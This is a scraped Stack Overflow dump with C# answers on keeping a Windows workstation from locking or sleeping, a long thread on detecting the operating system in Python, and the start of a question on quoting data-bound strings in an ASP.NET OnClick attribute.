"author_profile": "https://Stackoverflow.com/users/891", "pm_score": 4, "selected": false, "text": "<p>The \"correct\" way to do this is to respond to the WM_SYSCOMMAND message. In C# this looks something like this:</p>\n\n<pre><code>protected override void WndProc(ref Message m)\n{\n // Abort screensaver and monitor power-down\n const int WM_SYSCOMMAND = 0x0112;\n const int SC_MONITOR_POWER = 0xF170;\n const int SC_SCREENSAVE = 0xF140;\n int WParam = (m.WParam.ToInt32() &amp; 0xFFF0);\n\n if (m.Msg == WM_SYSCOMMAND &amp;&amp;\n (WParam == SC_MONITOR_POWER || WParam == SC_SCREENSAVE)) return;\n\n base.WndProc(ref m);\n}\n</code></pre>\n\n<p>According to <a href=\"http://msdn.microsoft.com/en-us/library/ms646360(VS.85).aspx\" rel=\"noreferrer\">MSDN</a>, if the screensaver password is enabled by policy on Vista or above, this won't work. Presumably programmatically moving the mouse is also ignored, though I have not tested this.</p>\n" }, { "answer_id": 8451344, "author": "Heywoody", "author_id": 1090471, "author_profile": "https://Stackoverflow.com/users/1090471", "pm_score": 3, "selected": false, "text": "<p>When I work from home, I do this by tying the mouse cord to a desktop fan which oscillates left to right. It keeps the mouse moving and keeps the workstation from going to sleep.</p>\n" }, { "answer_id": 65312692, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>(Windows 10 / .Net 5 / C# 9.0)</p>\n<p>Instead of faking activity, you could</p>\n<blockquote>\n<p>inform the system that it is in use, thereby preventing the system\nfrom entering sleep or turning off the display while the application\nis running</p>\n</blockquote>\n<p>using <a href=\"https://learn.microsoft.com/fr-fr/windows/win32/api/winbase/nf-winbase-setthreadexecutionstate\" rel=\"nofollow noreferrer\">SetThreadExecutionState</a>, as described on <a href=\"https://www.pinvoke.net/default.aspx/kernel32.setthreadexecutionstate\" rel=\"nofollow noreferrer\">PInvoke.net</a> :</p>\n<pre><code>using System;\nusing System.Runtime.InteropServices;\nusing System.Threading;\n\nnamespace VanityApp\n{\n internal static class Program\n {\n [DllImport(&quot;kernel32.dll&quot;, CharSet = CharSet.Auto, SetLastError = true)]\n private static extern ExecutionState SetThreadExecutionState(ExecutionState esFlags);\n\n [Flags]\n private enum ExecutionState : uint\n {\n ES_AWAYMODE_REQUIRED = 0x00000040,\n ES_CONTINUOUS = 0x80000000,\n ES_DISPLAY_REQUIRED = 0x00000002,\n ES_SYSTEM_REQUIRED = 0x00000001\n }\n\n private static void Main()\n {\n using AutoResetEvent autoResetEvent = new AutoResetEvent(false);\n using Timer timer = new Timer(state =&gt; SetThreadExecutionState(ExecutionState.ES_AWAYMODE_REQUIRED | ExecutionState.ES_CONTINUOUS | ExecutionState.ES_DISPLAY_REQUIRED | ExecutionState.ES_SYSTEM_REQUIRED), autoResetEvent, 0, -1);\n autoResetEvent.WaitOne();\n }\n }\n}\n</code></pre>\n<p>The Timer is a <a href=\"https://learn.microsoft.com/en-us/dotnet/api/system.threading.timer\" rel=\"nofollow noreferrer\">System.Threading.Timer</a>, with its handy constructor, and it uses <a href=\"https://learn.microsoft.com/en-us/dotnet/api/system.threading.waithandle.waitone\" rel=\"nofollow noreferrer\">AutoResetEvent.WaitOne()</a> to avoid exiting immediately.</p>\n" }, { "answer_id": 65621355, "author": "Mike O.", "author_id": 8738017, "author_profile": "https://Stackoverflow.com/users/8738017", "pm_score": 1, "selected": false, "text": "<p>Raf provided a graceful answer to the problem for Win10 world, but unfortunately, his autoResetEvent.WaitOne() instruction blocks the thread, and therefore it must be in a separate thread of its own.</p>\n<p>What worked for me can actually run in the main thread, the code doesn't have to be placed in the Main() method, and you can actually have a button to enable this functionality and one to disable it.</p>\n<p>First, you certainly need to define the execution state flags:</p>\n<pre><code>[Flags]\nprivate enum ExecutionState : uint // options to control monitor behavior\n{\n ES_AWAYMODE_REQUIRED = 0x00000040, // prevent idle-to-sleep\n ES_CONTINUOUS = 0x80000000, // allow monitor power down\n ES_DISPLAY_REQUIRED = 0x00000002, // prevent monitor power down\n ES_SYSTEM_REQUIRED = 0x00000001 // keep system awake\n}\n</code></pre>\n<p>Now, whenever you want to keep your system awake and block your monitor from turning off or idling to sleep, all you need to do, is execute a single command:</p>\n<pre><code>SetThreadExecutionState(ExecutionState.ES_AWAYMODE_REQUIRED | ExecutionState.ES_CONTINUOUS | ExecutionState.ES_DISPLAY_REQUIRED | ExecutionState.ES_SYSTEM_REQUIRED);\n</code></pre>\n<p>Then, if you want to undo this action and return your system back to its original execution state, just issue the following command:</p>\n<pre><code>SetThreadExecutionState(ExecutionState.ES_CONTINUOUS);\n</code></pre>\n<p>Keep in mind, each command will return the previous execution state, which means, when you first alter this state, you can cache the returned value locally and use it if/when you want to restore the previous state.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/1836", "https://Stackoverflow.com", "https://Stackoverflow.com/users/172/" ]
OK. This is a bit of a vanity app, but I had a situation today at work where I was in a training class and the machine was set to lock every 10 minutes. Well, if the trainers got excited about talking - as opposed to changing slides - the machine would lock up. I'd like to write a teeny app that has nothing but a taskbar icon that does nothing but move the mouse by 1 pixel every 4 minutes. I can do that in 3 ways with Delphi (my strong language) but I'm moving to C# for work and I'd like to know the path of least resistance there.
**for C# 3.5** without notifyicon therefore you will need to terminate this application in task manager manually ``` using System; using System.Drawing; using System.Windows.Forms; static class Program { static void Main() { Timer timer = new Timer(); // timer.Interval = 4 minutes timer.Interval = (int)(TimeSpan.TicksPerMinute * 4 / TimeSpan.TicksPerMillisecond); timer.Tick += (sender, args) => { Cursor.Position = new Point(Cursor.Position.X + 1, Cursor.Position.Y + 1); }; timer.Start(); Application.Run(); } } ```
1,854
<p>What do I need to look at to see whether I'm on Windows or Unix, etc?</p>
[ { "answer_id": 1857, "author": "Louis Brandy", "author_id": 2089740, "author_profile": "https://Stackoverflow.com/users/2089740", "pm_score": 11, "selected": true, "text": "<pre><code>&gt;&gt;&gt; import os\n&gt;&gt;&gt; os.name\n'posix'\n&gt;&gt;&gt; import platform\n&gt;&gt;&gt; platform.system()\n'Linux'\n&gt;&gt;&gt; platform.release()\n'2.6.22-15-generic'\n</code></pre>\n\n<p>The output of <a href=\"https://docs.python.org/library/platform.html#platform.system\" rel=\"noreferrer\"><code>platform.system()</code></a> is as follows:</p>\n\n<ul>\n<li>Linux: <code>Linux</code></li>\n<li>Mac: <code>Darwin</code></li>\n<li>Windows: <code>Windows</code></li>\n</ul>\n\n<p>See: <a href=\"https://docs.python.org/library/platform.html\" rel=\"noreferrer\"><code>platform</code> — Access to underlying platform’s identifying data</a></p>\n" }, { "answer_id": 1871, "author": "Joey deVilla", "author_id": 216, "author_profile": "https://Stackoverflow.com/users/216", "pm_score": 8, "selected": false, "text": "<p><a href=\"https://stackoverflow.com/a/1857/4298200\">Dang -- Louis Brandy beat me to the punch</a>, but that doesn't mean I can't provide you with the system results for Vista!</p>\n<pre><code>&gt;&gt;&gt; import os\n&gt;&gt;&gt; os.name\n'nt'\n&gt;&gt;&gt; import platform\n&gt;&gt;&gt; platform.system()\n'Windows'\n&gt;&gt;&gt; platform.release()\n'Vista'\n</code></pre>\n<p>...and I can’t believe no one’s posted one for Windows 10 yet:</p>\n<pre><code>&gt;&gt;&gt; import os\n&gt;&gt;&gt; os.name\n'nt'\n&gt;&gt;&gt; import platform\n&gt;&gt;&gt; platform.system()\n'Windows'\n&gt;&gt;&gt; platform.release()\n'10'\n</code></pre>\n" }, { "answer_id": 1879, "author": "Mark Harrison", "author_id": 116, "author_profile": "https://Stackoverflow.com/users/116", "pm_score": 7, "selected": false, "text": "<p>For the record here's the results on Mac:</p>\n\n<pre><code>&gt;&gt;&gt; import os\n&gt;&gt;&gt; os.name\n'posix'\n&gt;&gt;&gt; import platform\n&gt;&gt;&gt; platform.system()\n'Darwin'\n&gt;&gt;&gt; platform.release()\n'8.11.1'\n</code></pre>\n" }, { "answer_id": 28426, "author": "Moe", "author_id": 3051, "author_profile": "https://Stackoverflow.com/users/3051", "pm_score": 5, "selected": false, "text": "<p>You can also use <a href=\"https://docs.python.org/library/sys.html#sys.platform\" rel=\"noreferrer\"><code>sys.platform</code></a> if you already have imported <code>sys</code> and you don't want to import another module</p>\n\n<pre><code>&gt;&gt;&gt; import sys\n&gt;&gt;&gt; sys.platform\n'linux2'\n</code></pre>\n" }, { "answer_id": 3021004, "author": "Alftheo", "author_id": 364306, "author_profile": "https://Stackoverflow.com/users/364306", "pm_score": 4, "selected": false, "text": "<p>I am using the WLST tool that comes with weblogic, and it doesn't implement the platform package. </p>\n\n<pre><code>wls:/offline&gt; import os\nwls:/offline&gt; print os.name\njava \nwls:/offline&gt; import sys\nwls:/offline&gt; print sys.platform\n'java1.5.0_11'\n</code></pre>\n\n<p>Apart from patching the system <em>javaos.py</em> (<a href=\"http://osdir.com/ml/lang.jython.devel/2006-08/msg00035.html\" rel=\"noreferrer\">issue with os.system() on windows 2003 with jdk1.5</a>) (which I can't do, I have to use weblogic out of the box), this is what I use:</p>\n\n<pre><code>def iswindows():\n os = java.lang.System.getProperty( \"os.name\" )\n return \"win\" in os.lower()\n</code></pre>\n" }, { "answer_id": 7587420, "author": "Elden", "author_id": 969654, "author_profile": "https://Stackoverflow.com/users/969654", "pm_score": 2, "selected": false, "text": "<p>in the same vein....</p>\n\n<pre><code>import platform\nis_windows=(platform.system().lower().find(\"win\") &gt; -1)\n\nif(is_windows): lv_dll=LV_dll(\"my_so_dll.dll\")\nelse: lv_dll=LV_dll(\"./my_so_dll.so\")\n</code></pre>\n" }, { "answer_id": 7707465, "author": "urantialife", "author_id": 986889, "author_profile": "https://Stackoverflow.com/users/986889", "pm_score": 3, "selected": false, "text": "<p>/usr/bin/python3.2</p>\n\n<pre><code>def cls():\n from subprocess import call\n from platform import system\n\n os = system()\n if os == 'Linux':\n call('clear', shell = True)\n elif os == 'Windows':\n call('cls', shell = True)\n</code></pre>\n" }, { "answer_id": 14231316, "author": "Michał Niklas", "author_id": 22595, "author_profile": "https://Stackoverflow.com/users/22595", "pm_score": 3, "selected": false, "text": "<p>For Jython the only way to get os name I found is to check <code>os.name</code> Java property (tried with <code>sys</code>, <code>os</code> and <code>platform</code> modules for Jython 2.5.3 on WinXP):</p>\n\n<pre><code>def get_os_platform():\n \"\"\"return platform name, but for Jython it uses os.name Java property\"\"\"\n ver = sys.platform.lower()\n if ver.startswith('java'):\n import java.lang\n ver = java.lang.System.getProperty(\"os.name\").lower()\n print('platform: %s' % (ver))\n return ver\n</code></pre>\n" }, { "answer_id": 14477954, "author": "Jens Timmerman", "author_id": 869482, "author_profile": "https://Stackoverflow.com/users/869482", "pm_score": 5, "selected": false, "text": "<p>If you want user readable data but still detailed, you can use <a href=\"http://docs.python.org/library/platform.html#platform.platform\" rel=\"nofollow noreferrer\">platform.platform()</a></p>\n<pre><code>&gt;&gt;&gt; import platform\n&gt;&gt;&gt; platform.platform()\n'Linux-3.3.0-8.fc16.x86_64-x86_64-with-fedora-16-Verne'\n</code></pre>\n<p>Here's a few different possible calls you can make to identify where you are, linux_distribution and dist are removed in recent python versions.</p>\n<pre><code>import platform\nimport sys\n\ndef linux_distribution():\n try:\n return platform.linux_distribution()\n except:\n return &quot;N/A&quot;\n\ndef dist():\n try:\n return platform.dist()\n except:\n return &quot;N/A&quot;\n\nprint(&quot;&quot;&quot;Python version: %s\ndist: %s\nlinux_distribution: %s\nsystem: %s\nmachine: %s\nplatform: %s\nuname: %s\nversion: %s\nmac_ver: %s\n&quot;&quot;&quot; % (\nsys.version.split('\\n'),\nstr(dist()),\nlinux_distribution(),\nplatform.system(),\nplatform.machine(),\nplatform.platform(),\nplatform.uname(),\nplatform.version(),\nplatform.mac_ver(),\n))\n</code></pre>\n<p>The outputs of this script ran on a few different systems (Linux, Windows, Solaris, MacOS) and architectures (x86, x64, Itanium, power pc, sparc) is available here: <a href=\"https://github.com/hpcugent/easybuild/wiki/OS_flavor_name_version\" rel=\"nofollow noreferrer\">https://github.com/hpcugent/easybuild/wiki/OS_flavor_name_version</a></p>\n<p>Ubuntu 12.04 server for example gives:</p>\n<pre><code>Python version: ['2.6.5 (r265:79063, Oct 1 2012, 22:04:36) ', '[GCC 4.4.3]']\ndist: ('Ubuntu', '10.04', 'lucid')\nlinux_distribution: ('Ubuntu', '10.04', 'lucid')\nsystem: Linux\nmachine: x86_64\nplatform: Linux-2.6.32-32-server-x86_64-with-Ubuntu-10.04-lucid\nuname: ('Linux', 'xxx', '2.6.32-32-server', '#62-Ubuntu SMP Wed Apr 20 22:07:43 UTC 2011', 'x86_64', '')\nversion: #62-Ubuntu SMP Wed Apr 20 22:07:43 UTC 2011\nmac_ver: ('', ('', '', ''), '')\n</code></pre>\n" }, { "answer_id": 14885455, "author": "Eric", "author_id": 102441, "author_profile": "https://Stackoverflow.com/users/102441", "pm_score": 3, "selected": false, "text": "<p>Interesting results on windows 8:</p>\n\n<pre><code>&gt;&gt;&gt; import os\n&gt;&gt;&gt; os.name\n'nt'\n&gt;&gt;&gt; import platform\n&gt;&gt;&gt; platform.system()\n'Windows'\n&gt;&gt;&gt; platform.release()\n'post2008Server'\n</code></pre>\n\n<p><strong>Edit:</strong> That's a <a href=\"http://bugs.python.org/issue16176\" rel=\"noreferrer\">bug</a></p>\n" }, { "answer_id": 15674751, "author": "sunil", "author_id": 762649, "author_profile": "https://Stackoverflow.com/users/762649", "pm_score": 3, "selected": false, "text": "<p>If you not looking for the kernel version etc, but looking for the linux distribution you may want to use the following </p>\n\n<p>in python2.6+ </p>\n\n<pre><code>&gt;&gt;&gt; import platform\n&gt;&gt;&gt; print platform.linux_distribution()\n('CentOS Linux', '6.0', 'Final')\n&gt;&gt;&gt; print platform.linux_distribution()[0]\nCentOS Linux\n&gt;&gt;&gt; print platform.linux_distribution()[1]\n6.0\n</code></pre>\n\n<p>in python2.4</p>\n\n<pre><code>&gt;&gt;&gt; import platform\n&gt;&gt;&gt; print platform.dist()\n('centos', '6.0', 'Final')\n&gt;&gt;&gt; print platform.dist()[0]\ncentos\n&gt;&gt;&gt; print platform.dist()[1]\n6.0\n</code></pre>\n\n<p>Obviously, this will work only if you are running this on linux. If you want to have more generic script across platforms, you can mix this with code samples given in other answers.</p>\n" }, { "answer_id": 25863224, "author": "user3928804", "author_id": 3928804, "author_profile": "https://Stackoverflow.com/users/3928804", "pm_score": 7, "selected": false, "text": "<p>Sample code to differentiate operating systems using Python:</p>\n<pre><code>import sys\n\nif sys.platform.startswith(&quot;linux&quot;): # could be &quot;linux&quot;, &quot;linux2&quot;, &quot;linux3&quot;, ...\n # linux\nelif sys.platform == &quot;darwin&quot;:\n # MAC OS X\nelif sys.platform == &quot;win32&quot;:\n # Windows (either 32-bit or 64-bit)\n</code></pre>\n" }, { "answer_id": 26643177, "author": "Stefan Gruenwald", "author_id": 1751920, "author_profile": "https://Stackoverflow.com/users/1751920", "pm_score": 2, "selected": false, "text": "<p>Check the available tests with module platform and print the answer out for your system:</p>\n\n<pre><code>import platform\n\nprint dir(platform)\n\nfor x in dir(platform):\n if x[0].isalnum():\n try:\n result = getattr(platform, x)()\n print \"platform.\"+x+\": \"+result\n except TypeError:\n continue\n</code></pre>\n" }, { "answer_id": 27990199, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "<p>try this:</p>\n\n<pre><code>import os\n\nos.uname()\n</code></pre>\n\n<p>and you can make it :</p>\n\n<pre><code>info=os.uname()\ninfo[0]\ninfo[1]\n</code></pre>\n" }, { "answer_id": 31296120, "author": "the", "author_id": 1245190, "author_profile": "https://Stackoverflow.com/users/1245190", "pm_score": 3, "selected": false, "text": "<p>Watch out if you're on Windows with Cygwin where <code>os.name</code> is <code>posix</code>.</p>\n\n<pre><code>&gt;&gt;&gt; import os, platform\n&gt;&gt;&gt; print os.name\nposix\n&gt;&gt;&gt; print platform.system()\nCYGWIN_NT-6.3-WOW\n</code></pre>\n" }, { "answer_id": 39051901, "author": "G M", "author_id": 2132157, "author_profile": "https://Stackoverflow.com/users/2132157", "pm_score": 2, "selected": false, "text": "<p>You can also use only platform module without importing os module to get all the information.</p>\n\n<pre><code>&gt;&gt;&gt; import platform\n&gt;&gt;&gt; platform.os.name\n'posix'\n&gt;&gt;&gt; platform.uname()\n('Darwin', 'mainframe.local', '15.3.0', 'Darwin Kernel Version 15.3.0: Thu Dec 10 18:40:58 PST 2015; root:xnu-3248.30.4~1/RELEASE_X86_64', 'x86_64', 'i386')\n</code></pre>\n\n<p>A nice and tidy layout for reporting purpose can be achieved using this line:</p>\n\n<pre><code>for i in zip(['system','node','release','version','machine','processor'],platform.uname()):print i[0],':',i[1]\n</code></pre>\n\n<p>That gives this output:</p>\n\n<pre><code>system : Darwin\nnode : mainframe.local\nrelease : 15.3.0\nversion : Darwin Kernel Version 15.3.0: Thu Dec 10 18:40:58 PST 2015; root:xnu-3248.30.4~1/RELEASE_X86_64\nmachine : x86_64\nprocessor : i386\n</code></pre>\n\n<p>What is missing usually is the operating system version but you should know if you are running windows, linux or mac a platform indipendent way is to use this test:</p>\n\n<pre><code>In []: for i in [platform.linux_distribution(),platform.mac_ver(),platform.win32_ver()]:\n ....: if i[0]:\n ....: print 'Version: ',i[0]\n</code></pre>\n" }, { "answer_id": 45679447, "author": "whackamadoodle3000", "author_id": 7848065, "author_profile": "https://Stackoverflow.com/users/7848065", "pm_score": 4, "selected": false, "text": "<p>How about a new answer:</p>\n\n<pre><code>import psutil\npsutil.MACOS #True (OSX is deprecated)\npsutil.WINDOWS #False\npsutil.LINUX #False \n</code></pre>\n\n<p>This would be the output if I was using MACOS</p>\n" }, { "answer_id": 48244490, "author": "Alexander Calvert", "author_id": 9214024, "author_profile": "https://Stackoverflow.com/users/9214024", "pm_score": 2, "selected": false, "text": "<p>If you are running macOS X and run <code>platform.system()</code> you get darwin\nbecause macOS X is built on Apple's Darwin OS. Darwin is the kernel of macOS X and is essentially macOS X without the GUI.</p>\n" }, { "answer_id": 52542427, "author": "Memin", "author_id": 2234161, "author_profile": "https://Stackoverflow.com/users/2234161", "pm_score": 1, "selected": false, "text": "<p>How about a simple Enum implementation like the following? No need for external libs!</p>\n\n<pre><code>import platform\nfrom enum import Enum\nclass OS(Enum):\n def checkPlatform(osName):\n return osName.lower()== platform.system().lower()\n\n MAC = checkPlatform(\"darwin\")\n LINUX = checkPlatform(\"linux\")\n WINDOWS = checkPlatform(\"windows\") #I haven't test this one\n</code></pre>\n\n<p>Simply you can access with Enum value</p>\n\n<pre><code>if OS.LINUX.value:\n print(\"Cool it is Linux\")\n</code></pre>\n\n<p>P.S It is python3</p>\n" }, { "answer_id": 54421790, "author": "hoijui", "author_id": 586229, "author_profile": "https://Stackoverflow.com/users/586229", "pm_score": 2, "selected": false, "text": "<p>This solution works for both <code>python</code> and <code>jython</code>.</p>\n\n<p>module <em>os_identify.py</em>:</p>\n\n<pre><code>import platform\nimport os\n\n# This module contains functions to determine the basic type of\n# OS we are running on.\n# Contrary to the functions in the `os` and `platform` modules,\n# these allow to identify the actual basic OS,\n# no matter whether running on the `python` or `jython` interpreter.\n\ndef is_linux():\n try:\n platform.linux_distribution()\n return True\n except:\n return False\n\ndef is_windows():\n try:\n platform.win32_ver()\n return True\n except:\n return False\n\ndef is_mac():\n try:\n platform.mac_ver()\n return True\n except:\n return False\n\ndef name():\n if is_linux():\n return \"Linux\"\n elif is_windows():\n return \"Windows\"\n elif is_mac():\n return \"Mac\"\n else:\n return \"&lt;unknown&gt;\" \n</code></pre>\n\n<p>Use like this:</p>\n\n<pre><code>import os_identify\n\nprint \"My OS: \" + os_identify.name()\n</code></pre>\n" }, { "answer_id": 54582331, "author": "not2qubit", "author_id": 1147688, "author_profile": "https://Stackoverflow.com/users/1147688", "pm_score": 1, "selected": false, "text": "<p>You can look at the code in <strong><a href=\"https://github.com/E3V3A/pip-date\" rel=\"nofollow noreferrer\"><code>pyOSinfo</code></a></strong> which is part of the <strong>pip-date</strong> package, to get the most relevant OS information, as seen from your Python distribution. </p>\n\n<p>One of the most common reasons people want to check their OS is for terminal compatibility and if certain system commands are available. Unfortunately, the success of this checking is somewhat dependent on your python installation and OS. For example, <em><code>uname</code></em> is not available on most Windows python packages. The above python program will show you the output of the most commonly used built-in functions, already provided by <code>os, sys, platform, site</code>.</p>\n\n<p><a href=\"https://i.stack.imgur.com/3PfPS.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3PfPS.png\" alt=\"enter image description here\"></a></p>\n\n<p>So the best way to get only the essential code is looking at <em>that</em> as an example. (I guess I could have just pasted it here, but that would not have been politically correct.) </p>\n" }, { "answer_id": 54837707, "author": "coldfix", "author_id": 650222, "author_profile": "https://Stackoverflow.com/users/650222", "pm_score": 6, "selected": false, "text": "<p>I started a bit more systematic listing of what values you can expect using the various modules (feel free to edit and add your system):</p>\n<h1>Linux (64bit) + WSL</h1>\n<pre><code> x86_64 aarch64\n ------ -------\nos.name posix posix\nsys.platform linux linux\nplatform.system() Linux Linux\nsysconfig.get_platform() linux-x86_64 linux-aarch64\nplatform.machine() x86_64 aarch64\nplatform.architecture() ('64bit', '') ('64bit', 'ELF')\n</code></pre>\n<ul>\n<li>tried with archlinux and mint, got same results</li>\n<li>on python2 <code>sys.platform</code> is suffixed by kernel version, e.g. <code>linux2</code>, everything else stays identical</li>\n<li>same output on Windows Subsystem for Linux (tried with ubuntu 18.04 LTS), except <code>platform.architecture() = ('64bit', 'ELF')</code></li>\n</ul>\n<h1>WINDOWS (64bit)</h1>\n<p>(with 32bit column running in the 32bit subsystem)</p>\n<pre><code>official python installer 64bit 32bit\n------------------------- ----- -----\nos.name nt nt\nsys.platform win32 win32\nplatform.system() Windows Windows\nsysconfig.get_platform() win-amd64 win32\nplatform.machine() AMD64 AMD64\nplatform.architecture() ('64bit', 'WindowsPE') ('64bit', 'WindowsPE')\n\nmsys2 64bit 32bit\n----- ----- -----\nos.name posix posix\nsys.platform msys msys\nplatform.system() MSYS_NT-10.0 MSYS_NT-10.0-WOW\nsysconfig.get_platform() msys-2.11.2-x86_64 msys-2.11.2-i686\nplatform.machine() x86_64 i686\nplatform.architecture() ('64bit', 'WindowsPE') ('32bit', 'WindowsPE')\n\nmsys2 mingw-w64-x86_64-python3 mingw-w64-i686-python3\n----- ------------------------ ----------------------\nos.name nt nt\nsys.platform win32 win32\nplatform.system() Windows Windows\nsysconfig.get_platform() mingw mingw\nplatform.machine() AMD64 AMD64\nplatform.architecture() ('64bit', 'WindowsPE') ('32bit', 'WindowsPE')\n\ncygwin 64bit 32bit\n------ ----- -----\nos.name posix posix\nsys.platform cygwin cygwin\nplatform.system() CYGWIN_NT-10.0 CYGWIN_NT-10.0-WOW\nsysconfig.get_platform() cygwin-3.0.1-x86_64 cygwin-3.0.1-i686\nplatform.machine() x86_64 i686\nplatform.architecture() ('64bit', 'WindowsPE') ('32bit', 'WindowsPE')\n\n</code></pre>\n<p>Some remarks:</p>\n<ul>\n<li>there is also <code>distutils.util.get_platform()</code> which is identical to `sysconfig.get_platform</li>\n<li>anaconda on windows is same as official python windows installer</li>\n<li>I don't have a Mac nor a true 32bit system and was not motivated to do it online</li>\n</ul>\n<p>To compare with your system, simply run this script (and please append results here if missing :)</p>\n<pre><code>from __future__ import print_function\nimport os\nimport sys\nimport platform\nimport sysconfig\n\nprint(&quot;os.name &quot;, os.name)\nprint(&quot;sys.platform &quot;, sys.platform)\nprint(&quot;platform.system() &quot;, platform.system())\nprint(&quot;sysconfig.get_platform() &quot;, sysconfig.get_platform())\nprint(&quot;platform.machine() &quot;, platform.machine())\nprint(&quot;platform.architecture() &quot;, platform.architecture())\n</code></pre>\n" }, { "answer_id": 56258096, "author": "tudor", "author_id": 11539736, "author_profile": "https://Stackoverflow.com/users/11539736", "pm_score": 1, "selected": false, "text": "<p>I am late to the game but, just in case anybody needs it, this a function I use to make adjustments on my code so it runs on Windows, Linux and MacOs:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>import sys\ndef get_os(osoptions={'linux':'linux','Windows':'win','macos':'darwin'}):\n '''\n get OS to allow code specifics\n ''' \n opsys = [k for k in osoptions.keys() if sys.platform.lower().find(osoptions[k].lower()) != -1]\n try:\n return opsys[0]\n except:\n return 'unknown_OS'\n</code></pre>\n" }, { "answer_id": 58071295, "author": "Shital Shah", "author_id": 207661, "author_profile": "https://Stackoverflow.com/users/207661", "pm_score": 7, "selected": false, "text": "<p><strong>Short Story</strong></p>\n\n<p>Use <code>platform.system()</code>. It returns <code>Windows</code>, <code>Linux</code> or <code>Darwin</code> (for OSX).</p>\n\n<p><strong>Long Story</strong></p>\n\n<p>There are 3 ways to get OS in Python, each with its own pro and cons:</p>\n\n<p><strong>Method 1</strong></p>\n\n<pre><code>&gt;&gt;&gt; import sys\n&gt;&gt;&gt; sys.platform\n'win32' # could be 'linux', 'linux2, 'darwin', 'freebsd8' etc\n</code></pre>\n\n<p>How this works (<a href=\"https://github.com/python/cpython/blob/b82e17e626f7b1cd98aada0b1ebb65cb9f8fb184/Python/sysmodule.c#L1478\" rel=\"noreferrer\">source</a>): Internally it calls OS APIs to get name of the OS as defined by OS. See <a href=\"https://stackoverflow.com/a/13874620/207661\">here</a> for various OS-specific values.</p>\n\n<p>Pro: No magic, low level.</p>\n\n<p>Con: OS version dependent, so best not to use directly. </p>\n\n<p><strong>Method 2</strong></p>\n\n<pre><code>&gt;&gt;&gt; import os\n&gt;&gt;&gt; os.name\n'nt' # for Linux and Mac it prints 'posix'\n</code></pre>\n\n<p>How this works (<a href=\"https://github.com/python/cpython/blob/3.7/Lib/os.py#L48\" rel=\"noreferrer\">source</a>): Internally it checks if python has OS-specific modules called posix or nt. </p>\n\n<p>Pro: Simple to check if posix OS</p>\n\n<p>Con: no differentiation between Linux or OSX.</p>\n\n<p><strong>Method 3</strong></p>\n\n<pre><code>&gt;&gt;&gt; import platform\n&gt;&gt;&gt; platform.system()\n'Windows' # for Linux it prints 'Linux', Mac it prints `'Darwin'\n</code></pre>\n\n<p>How this works (<a href=\"https://github.com/python/cpython/blob/3.7/Lib/platform.py#L949\" rel=\"noreferrer\">source</a>): Internally it will eventually call internal OS APIs, get OS version-specific name like 'win32' or 'win16' or 'linux1' and then normalize to more generic names like 'Windows' or 'Linux' or 'Darwin' by applying several heuristics. </p>\n\n<p>Pro: Best portable way for Windows, OSX and Linux.</p>\n\n<p>Con: Python folks must keep normalization heuristic up to date.</p>\n\n<p><strong>Summary</strong></p>\n\n<ul>\n<li>If you want to check if OS is Windows or Linux or OSX then the most reliable way is <code>platform.system()</code>.</li>\n<li>If you want to make OS-specific calls but via built-in Python modules <code>posix</code> or <code>nt</code> then use <code>os.name</code>.</li>\n<li>If you want to get raw OS name as supplied by OS itself then use <code>sys.platform</code>.</li>\n</ul>\n" }, { "answer_id": 59863131, "author": "robmsmt", "author_id": 738515, "author_profile": "https://Stackoverflow.com/users/738515", "pm_score": 3, "selected": false, "text": "<p>I know this is an old question but I believe that my answer is one that might be helpful to some people who are looking for an easy, simple to understand pythonic way to detect OS in their code. Tested on python3.7</p>\n\n<pre><code>from sys import platform\n\n\nclass UnsupportedPlatform(Exception):\n pass\n\n\nif \"linux\" in platform:\n print(\"linux\")\nelif \"darwin\" in platform:\n print(\"mac\")\nelif \"win\" in platform:\n print(\"windows\")\nelse:\n raise UnsupportedPlatform\n</code></pre>\n" }, { "answer_id": 64444776, "author": "Jossef Harush Kadouri", "author_id": 3191896, "author_profile": "https://Stackoverflow.com/users/3191896", "pm_score": 4, "selected": false, "text": "<p>Use <a href=\"https://docs.python.org/3/library/platform.html#platform.system\" rel=\"noreferrer\">platform.system()</a></p>\n<blockquote>\n<p>Returns the system/OS name, such as 'Linux', 'Darwin', 'Java', 'Windows'. An empty string is returned if the value cannot be determined.</p>\n</blockquote>\n<pre><code>import platform\nsystem = platform.system().lower()\n\nis_windows = system == 'windows'\nis_linux = system == 'linux'\nis_mac = system == 'darwin'\n</code></pre>\n" }, { "answer_id": 74101033, "author": "Allan Hawkin", "author_id": 20265625, "author_profile": "https://Stackoverflow.com/users/20265625", "pm_score": 1, "selected": false, "text": "<p>there are alot ways to find this the most easiest way to is to use os package</p>\n<pre><code>import os \nprint(os.name)\n</code></pre>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/1854", "https://Stackoverflow.com", "https://Stackoverflow.com/users/116/" ]
What do I need to look at to see whether I'm on Windows or Unix, etc?
``` >>> import os >>> os.name 'posix' >>> import platform >>> platform.system() 'Linux' >>> platform.release() '2.6.22-15-generic' ``` The output of [`platform.system()`](https://docs.python.org/library/platform.html#platform.system) is as follows: * Linux: `Linux` * Mac: `Darwin` * Windows: `Windows` See: [`platform` — Access to underlying platform’s identifying data](https://docs.python.org/library/platform.html)
1,873
<p>How do I delimit a Javascript data-bound string parameter in an anchor <code>OnClick</code> event?</p> <ul> <li>I have an anchor tag in an ASP.NET Repeater control.</li> <li>The <code>OnClick</code> event of the anchor contains a call to a Javascript function.</li> <li>The Javascript function takes a string for its input parameter.</li> <li>The string parameter is populated with a data-bound value from the Repeater.</li> </ul> <p>I need the &quot;double quotes&quot; for the <code>Container.DataItem</code>.<br /> I need the 'single quotes' for the <code>OnClick</code>.</p> <p>And I still need <em>one more delimiter</em> (triple quotes?) for the input string parameter of the Javascript function call.</p> <p>Since I can't use 'single quotes' again, how do I ensure the Javascript function knows the input parameter is a string and not an integer?</p> <p>Without the extra quotes around the input string parameter, the Javascript function thinks I'm passing in an integer.</p> <p>The anchor:</p> <pre><code>&lt;a id=&quot;aShowHide&quot; onclick='ToggleDisplay(&lt;%# DataBinder.Eval(Container.DataItem, &quot;JobCode&quot;) %&gt;);' &gt;Show/Hide&lt;/a&gt; </code></pre> 